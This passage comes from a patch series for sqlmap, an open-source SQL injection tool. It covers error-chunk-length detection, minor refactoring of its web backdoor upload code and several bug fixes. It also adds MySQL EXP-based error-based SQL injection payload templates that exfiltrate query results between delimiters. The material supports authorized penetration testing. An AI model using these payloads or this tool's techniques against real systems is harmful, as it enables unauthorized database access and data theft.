", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK) diff --git a/lib/core/target.py b/lib/core/target.py index 1c35b3515..50158817a 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -403,12 +403,18 @@ def _resumeHashDBValues(): """ kb.absFilePaths = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) or kb.absFilePaths - kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars - kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings kb.brute.tables = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_TABLES, True) or kb.brute.tables kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns + kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars + kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable + kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH) + if kb.errorChunkLength and kb.errorChunkLength.isdigit(): + kb.errorChunkLength = int(kb.errorChunkLength) + else: + kb.errorChunkLength = None + conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH) for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []: diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index a647d89f2..8a8009d34 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -35,10 +35,11 @@ from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS +from lib.core.enums import HASHDB_KEYS from lib.core.enums import HTTP_HEADER from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD -from lib.core.settings import MYSQL_ERROR_CHUNK_LENGTH -from lib.core.settings import MSSQL_ERROR_CHUNK_LENGTH +from lib.core.settings import MIN_ERROR_CHUNK_LENGTH +from lib.core.settings import MAX_ERROR_CHUNK_LENGTH from lib.core.settings import NULL from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD @@ -50,7 +51,7 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar -def _oneShotErrorUse(expression, field=None): +def _oneShotErrorUse(expression, field=None, chunkTest=False): offset = 1 partialValue = None threadData = getCurrentThreadData() @@ -63,12 +64,28 @@ def _oneShotErrorUse(expression, field=None): threadData.resumed = retVal is not None and not partialValue - if Backend.isDbms(DBMS.MYSQL): - chunkLength = MYSQL_ERROR_CHUNK_LENGTH - elif Backend.isDbms(DBMS.MSSQL): - chunkLength = MSSQL_ERROR_CHUNK_LENGTH - else: - chunkLength = None + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: + debugMsg = "searching for error chunk length..." + logger.debug(debugMsg) + + current = MAX_ERROR_CHUNK_LENGTH + while current >= MIN_ERROR_CHUNK_LENGTH: + testChar = str(current % 10) + testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) + result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True)) + if result and testChar in result: + if result == testChar * current: + kb.errorChunkLength = current + break + else: + current = len(result) - len(kb.chars.stop) + else: + current = current / 2 + + if kb.errorChunkLength: + hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength) + else: + kb.errorChunkLength = 0 if retVal is None or partialValue: try: @@ -79,12 +96,12 @@ def _oneShotErrorUse(expression, field=None): if field: nulledCastedField = agent.nullAndCastField(field) - if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")): # skip chunking of scalar expression (unneeded) + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace(field, nulledCastedField) field = extendedField - nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunkLength) + nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength) # Forge the error-based SQL injection request vector = kb.injection.data[kb.technique].vector @@ -125,10 +142,11 @@ def _oneShotErrorUse(expression, field=None): threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if trimmed: - warnMsg = "possible server trimmed output detected " - warnMsg += "(due to its length and/or content): " - warnMsg += safecharencode(trimmed) - logger.warn(warnMsg) + if not chunkTest: + warnMsg = "possible server trimmed output detected " + warnMsg += "(due to its length and/or content): " + warnMsg += safecharencode(trimmed) + logger.warn(warnMsg) if not kb.testMode: check = "(?P.*?)%s" % kb.chars.stop[:2] @@ -146,8 +164,8 @@ def _oneShotErrorUse(expression, field=None): else: retVal += output if output else '' - if output and len(output) >= chunkLength: - offset += chunkLength + if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest: + offset += kb.errorChunkLength else: break From 1cf012521d949fc8e03575a9fd61369aed2092fa Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 26 Aug 2015 16:18:03 +0200 Subject: [PATCH 80/88] Minor refactoring --- lib/core/shell.py | 1 - lib/parse/configfile.py | 6 ------ lib/takeover/web.py | 3 --- lib/utils/api.py | 2 -- lib/utils/hash.py | 1 - plugins/dbms/postgresql/filesystem.py | 1 - plugins/generic/filesystem.py | 1 - 7 files changed, 15 deletions(-) diff --git a/lib/core/shell.py b/lib/core/shell.py index 1e7f35d50..7b53bc389 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -10,7 +10,6 @@ import os import rlcompleter from lib.core import readlineng as readline -from lib.core.common import Backend from lib.core.data import logger from lib.core.data import paths from lib.core.enums import AUTOCOMPLETE_TYPE diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index 507cce17b..dbbc5ad78 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -5,11 +5,6 @@ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -import codecs - -from ConfigParser import MissingSectionHeaderError -from ConfigParser import ParsingError - from lib.core.common import checkFile from lib.core.common import getUnicode from lib.core.common import openFile @@ -20,7 +15,6 @@ from lib.core.data import logger from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapSyntaxException from lib.core.optiondict import optDict -from lib.core.settings import UNICODE_ENCODING config = None diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 40a403dc0..504fb4a2c 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -205,7 +205,6 @@ class Web: backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) - success = False for directory in directories: if not directory: @@ -357,6 +356,4 @@ class Web: infoMsg += self.webBackdoorUrl logger.info(infoMsg) - success = True - break diff --git a/lib/utils/api.py b/lib/utils/api.py index 1db28e7cd..4b63fbfe6 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -13,8 +13,6 @@ import sys import tempfile import time -from subprocess import PIPE - from lib.core.common import unArrayizeValue from lib.core.convert import base64pickle from lib.core.convert import hexencode diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 87ae8d411..81af27026 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -44,7 +44,6 @@ from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import getFileItems from lib.core.common import getPublicTypeMembers -from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import normalizeUnicode diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index 72cf7c75f..bfa285091 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -8,7 +8,6 @@ See the file 'doc/COPYING' for copying permission import os from lib.core.common import randomInt -from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import LOBLKSIZE diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 0aaae5b83..21b698b4e 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -20,7 +20,6 @@ from lib.core.common import isListLike from lib.core.common import isStackingAvailable from lib.core.common import isTechniqueAvailable from lib.core.common import readInput -from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger From 43f3900ffee58643f2219eaaceb6d3af6a0a69e1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 27 Aug 2015 12:25:25 +0200 Subject: [PATCH 81/88] Fixes #1362 --- lib/core/common.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/core/common.py b/lib/core/common.py index a72c7cd75..15c7af399 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -861,6 +861,9 @@ def dataToDumpFile(dumpFile, data): if "No space left" in getUnicode(ex): errMsg = "no space left on output device" logger.error(errMsg) + elif "Permission denied" in getUnicode(ex): + errMsg = "permission denied when flushing dump data" + logger.error(errMsg) else: raise From 61b33f24d4b7cee2acd0fafb5539210b6b00f2dc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 28 Aug 2015 10:52:36 +0200 Subject: [PATCH 82/88] Implements #1363 --- xml/payloads/02_error_based.xml | 80 +++++++++++++++++++++++++++++++++ 1 file changed, 80 insertions(+) diff --git a/xml/payloads/02_error_based.xml b/xml/payloads/02_error_based.xml index 2b2354d2f..1c5a1b270 100644 --- a/xml/payloads/02_error_based.xml +++ b/xml/payloads/02_error_based.xml @@ -149,6 +149,46 @@ + + MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP) + 2 + 4 + 1 + 1,2,3 + 1 + AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))x)) + + AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))x)) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+
+ + + MySQL >= 5.5 OR error-based - WHERE, HAVING clause (EXP) + 2 + 4 + 3 + 1 + 1 + OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))x)) + + OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))x)) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+
+ MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) 2 @@ -682,6 +722,26 @@ + + MySQL >= 5.5 error-based - Parameter replace (EXP) + 2 + 5 + 1 + 1,2,3 + 3 + EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))x)) + + EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))x)) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+
+ MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED) 2 @@ -898,6 +958,26 @@ + + MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP) + 2 + 5 + 1 + 2,3 + 1 + ,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))x)) + + ,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))x)) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+
+ MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED) 2 From ee22c477db28b608a9866b47d560240a1cd092a6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 28 Aug 2015 10:59:12 +0200 Subject: [PATCH 83/88] Minor patch for #1363 --- xml/payloads/02_error_based.xml | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/xml/payloads/02_error_based.xml b/xml/payloads/02_error_based.xml index 1c5a1b270..7c4b54c5c 100644 --- a/xml/payloads/02_error_based.xml +++ b/xml/payloads/02_error_based.xml @@ -156,9 +156,9 @@ 1 1,2,3 1 - AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))x)) + AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) - AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))x)) + AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -176,9 +176,9 @@ 3 1 1 - OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))x)) + OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) - OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))x)) + OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -729,9 +729,9 @@ 1 1,2,3 3 - EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))x)) + EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) - EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))x)) + EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -965,9 +965,9 @@ 1 2,3 1 - ,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))x)) + ,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) - ,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))x)) + ,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] From 06c8704179bf528c8b576217ba67f379b08cff93 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 28 Aug 2015 15:30:28 +0200 Subject: [PATCH 84/88] Fixes #1365 --- lib/core/option.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/core/option.py b/lib/core/option.py index b4f9faea1..57860f39e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1581,6 +1581,9 @@ def _cleanupOptions(): else: conf.skip = [] + if conf.cookie: + conf.cookie = re.sub(r"[\r\n]", "", conf.cookie) + if conf.delay: conf.delay = float(conf.delay) From 737a37bfda1196a3045b585a5dbf0c513ee27839 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 30 Aug 2015 01:58:43 +0200 Subject: [PATCH 85/88] Fixes #1367 --- lib/core/common.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 15c7af399..9aada65ed 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2603,11 +2603,11 @@ def removeDynamicContent(page): if prefix is None and suffix is None: continue elif prefix is None: - page = re.sub(r'(?s)^.+%s' % re.escape(suffix), suffix, page) + page = re.sub(r'(?s)^.+%s' % re.escape(suffix), suffix.replace('\\', r'\\'), page) elif suffix is None: - page = re.sub(r'(?s)%s.+$' % re.escape(prefix), prefix, page) + page = re.sub(r'(?s)%s.+$' % re.escape(prefix), prefix.replace('\\', r'\\'), page) else: - page = re.sub(r'(?s)%s.+%s' % (re.escape(prefix), re.escape(suffix)), '%s%s' % (prefix, suffix), page) + page = re.sub(r'(?s)%s.+%s' % (re.escape(prefix), re.escape(suffix)), '%s%s' % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page) return page From 6a01d2e4309882d29bd4f21c883881927a5026c1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 30 Aug 2015 02:13:07 +0200 Subject: [PATCH 86/88] Fixes #1366 --- lib/request/connect.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 63bb1ba22..76b1afdf8 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -374,7 +374,7 @@ class Connect(object): headers[unicodeencode(key, kb.pageEncoding)] = unicodeencode(item, kb.pageEncoding) url = unicodeencode(url) - post = unicodeencode(post, kb.pageEncoding) + post = unicodeencode(post) if websocket_: ws = websocket.WebSocket() From 89292ce1f9be40558299b6db9350cca4bd849e57 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 30 Aug 2015 22:52:24 +0200 Subject: [PATCH 87/88] Closes #1376 --- lib/core/wordlist.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index bc4e486a1..e7c902beb 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -41,7 +41,13 @@ class Wordlist(object): else: self.current = self.filenames[self.index] if os.path.splitext(self.current)[1].lower() == ".zip": - _ = zipfile.ZipFile(self.current, 'r') + try: + _ = zipfile.ZipFile(self.current, 'r') + except zipfile.error, ex: + errMsg = "something seems to be wrong with " + errMsg += "the file '%s' ('%s'). Please make " % (self.current, ex) + errMsg += "sure that you haven't made any changes to it" + raise SqlmapInstallationException, errMsg if len(_.namelist()) == 0: errMsg = "no file(s) inside '%s'" % self.current raise SqlmapDataException(errMsg) From 50d39d02522ef3e7412fb8732fa4205a72ea8d54 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 30 Aug 2015 23:15:50 +0200 Subject: [PATCH 88/88] Closes #1372 --- lib/core/option.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 57860f39e..5ebd228bd 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -312,9 +312,9 @@ def _feedTargetsDict(reqFile, addedTargetUrls): params = True # Headers - elif re.search(r"\A\S+: ", line): - key, value = line.split(": ", 1) - value = value.replace("\r", "").replace("\n", "") + elif re.search(r"\A\S+:", line): + key, value = line.split(":", 1) + value = value.strip().replace("\r", "").replace("\n", "") # Cookie and Host headers if key.upper() == HTTP_HEADER.COOKIE.upper():